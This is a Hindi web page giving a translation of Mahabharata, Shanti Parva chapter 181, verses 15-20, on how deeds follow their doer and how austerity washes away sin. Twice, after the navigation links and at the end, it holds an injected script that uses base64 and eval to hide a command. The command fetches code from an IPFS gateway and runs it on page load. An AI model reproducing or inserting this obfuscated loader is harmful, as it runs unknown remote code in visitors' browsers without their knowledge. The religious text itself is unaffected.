महाभारत शान्ति पर्व अध्याय 181 श्लोक 15-20
एकाशीत्यधिकशततम (181) अध्याय: शान्ति पर्व (मोक्षधर्म पर्व)
कोई बालक हो, तरूण हो या बूढा़ हो, वह जो भी शुभाशुभ कर्म करता है, दूसरे जन्म में उसी–उसी अवस्था में उस–उस कर्म का फल उसे प्राप्त होता है। जैसे बछड़ा हजारों गौओं में से अपनी मां को पहचानकर उसे पा लेता है, वैसे ही पहले का किया हुआ कर्म भी अपने कर्ता के पास पहुंच जाता है। जैसे पहले से क्षार आदि में भिगोया हुआ कपड़ा पीछे धोने से साफ हो जाता है, उसी प्रकार जो उपवासपूर्वक तपस्या करते हैं, उन्हें कभी समाप्त न होने वाला महान् सुख मिलता है। तपोवन में रहकर की हुई दीर्घकाल तक की तपस्या से तथा धर्म से जिनके सारे पाप धुल गये हैं, उनके सम्पूर्ण मनोरथ सफल हो जाते हैं। जैसे आकाश में पक्षियों के और जल में मछलियों के चरण–चिन्ह दिखायी नहीं देते, उसी प्रकार ज्ञानियों की गति का पता नहीं चलता। दूसरों को उलाहना देने तथा लोगों के अन्यान्य अपराधों की चर्चा करने से कोई प्रयोजन नहीं है। जो काम सुंदर, अनुकूल और अपने लिये हितकर जान पड़े, वही कर्म करना चाहिये।
« पीछे | आगे » |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>